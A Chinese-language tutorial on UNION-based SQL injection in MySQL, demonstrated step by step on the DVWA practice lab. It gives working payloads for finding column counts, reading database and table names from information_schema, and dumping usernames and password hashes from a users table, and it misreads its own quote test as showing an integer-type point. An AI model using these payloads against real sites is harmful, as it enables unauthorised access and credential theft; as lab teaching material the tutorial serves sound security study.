清明假期立一个小flag,写十篇文章/doge
原理:
攻击者利用MySQL中的union 函数能够从数据库中其他表中检索数据,导致敏感信息泄露甚至写入web shell
利用条件:
1.注入点所在页面有回显
2.允许使用order by;允许使用union
步骤以及演示
以下将以DVWA中靶场作为联合注入步骤的演示
1:判断注入点
判断可能存在注入点的地方:往往是搜索框,URL栏等一切有可能与数据库交互的地方
在此靶场中Submit框和GET传参均可进行联合查询
2.判断注入点位整形/字符型
判断
1' and '1'='1
和
1' and '1'='2
如果返回结果相同:即 字符=字符;为判断依据,则为字符型
如果返回结果不同:即 1=1,1=2;为判断依据,则为整形
显然两条代码回显不相同,则为整形。
3.使用order by 推断列数
1' order by 2 #
order by:`ORDER BY` 子句的作用是根据指定的列对SQL查询的结果集进行排序。排序只能对存在的数进行排序。例如:排序2回显正常,排序3回显不支持,则字段数为2.(即表中列数为2)
#:MySQL中的注释符,#作用为注释后面的语句,类似的还有--+.
4.使用union,确定显错位
1‘ union select 1,2 #
由图中 1 2 位置可发现显错位
5.获取数据库库名
1' union select user(),database()#
即替换显错位 1,2 为 user(),database()
6获取数据库中表名
1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database()#
group_concat(table_name):将table_name中的表名拼接成一个字符串(这样可以一个显错位搞定)
information_schema:是MySQL提供的系统库,有库名,表名的信息
7.获取数据库表中所有的字段
1' union select group_concat(column_name),database() from information_schema.columns where table_schema = database()#
8.获取字段中数据
1' union select group_concat(user),group_concat(password) from dvwa.users#